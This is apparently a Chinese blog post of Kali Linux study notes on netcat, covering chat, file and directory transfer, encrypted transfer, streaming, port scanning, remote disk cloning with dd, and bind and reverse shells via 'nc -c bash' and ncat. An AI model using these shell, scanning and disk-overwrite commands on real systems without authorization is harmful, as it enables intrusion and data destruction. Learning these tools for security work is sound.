02 - Kali笔记_Linux_Kali下NC工具的使用

  1. nc使用:

    1. nc -h : 查看使用参数
    2. -v : 显示链接相关信息(输出内容)
    3. -n :域名解析
    4. nc -vn 的使用
      5)
    5. 实现两台kali电脑之间的聊天
      a) nc -l -p 端口 :打开端口 (netstat可以查看端口是否打开)
      b) nc -nv ip 端口 (另外一台电脑):实现互通
    6. -q 1 : 命令执行完成之后,1秒断开连接(可以判断命令是否执行)
    7. 管道 | :把前面命令的输出作为后面命令的输入内容
  2. 传输文件

    1. A: nc -lp 端口 > 1.mp3 (1.mp3接受文件的新名字)

    2. B: nc -nv ip 端口 < 1.mp3 -q 1 (1.mp3传输文件的名字)

    3. A: nc -lp 端口 < 1.mp3 -q 1 (等待别人下载)

    4. B: nc – nv ip 端口 > 2.mp3 (接受文件,名字设为2.mp3)

  3. 传输目录(工作原理:在A中打包后传输给B,传输后在B中解包)-- 实际:只看到目录之间的传递

    1. A: tar -cvf -music/ | nc -lp 端口 -q 1 (会看到打包过程)
    2. B: nc -nv ip 端口 | tar -xvf - (看到解包过程)
  4. 加密传文件

    1. A: nc -lp 端口 | mcrypt –flush -Fbqb -a rijndael-256 -m ecb > 1.mp4 ( A 是接受端)
    2. B: mcrypt -flush -Fbqb -a rijndael-256 -m ecb < 1.pm4 | nc -nv ip 端口 -q 1
  5. 流媒体服务传输

    1. A: cat 1.mp4 | nc -lp 端口号
    2. B: nc -nv ip 端口号 | mplayer -vo x11 -cache 3000-
  6. 端口扫描(作为扫描器使用)

    1. A: nc -nvz ip 1-65532(扫描所有端口)
    2. B: nc -vnzu ip 1-1024(1-1024个端口)
  7. 远程克隆硬盘

    1. A: nc -lp 333 | dd of=/dev/sda
    2. B: dd if=/dev/sda | nc -nv ip 端口 -q 1
  8. 远程控制 (谁开启侦听端口,谁就是控制端)
    正向:(A是被控端)

    1. A: nc -lp 端口 -c bash
    2. B: nc ip 端口

    反向:(B是被控端)

    1. A: nc -lp 端口
    2. B: nc ip 端口 -c bash
  9. NCAT

    1. A: ncat -c bash –allow 192.168.20.14(被控端ip) -vnl 333(端口) –ssl ( 只允许ip192.168.20.14连接,侦听333端口)
    2. B: ncat -nv 192.168.20.14(ip) 333(端口) –ssl
      A:
      在这里插入图片描述

    B:
    在这里插入图片描述

  10. NC缺陷

    1. Nc缺乏加密和身份验证的能力
    2. Ncat包含于nmap工具包中
  • 3
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值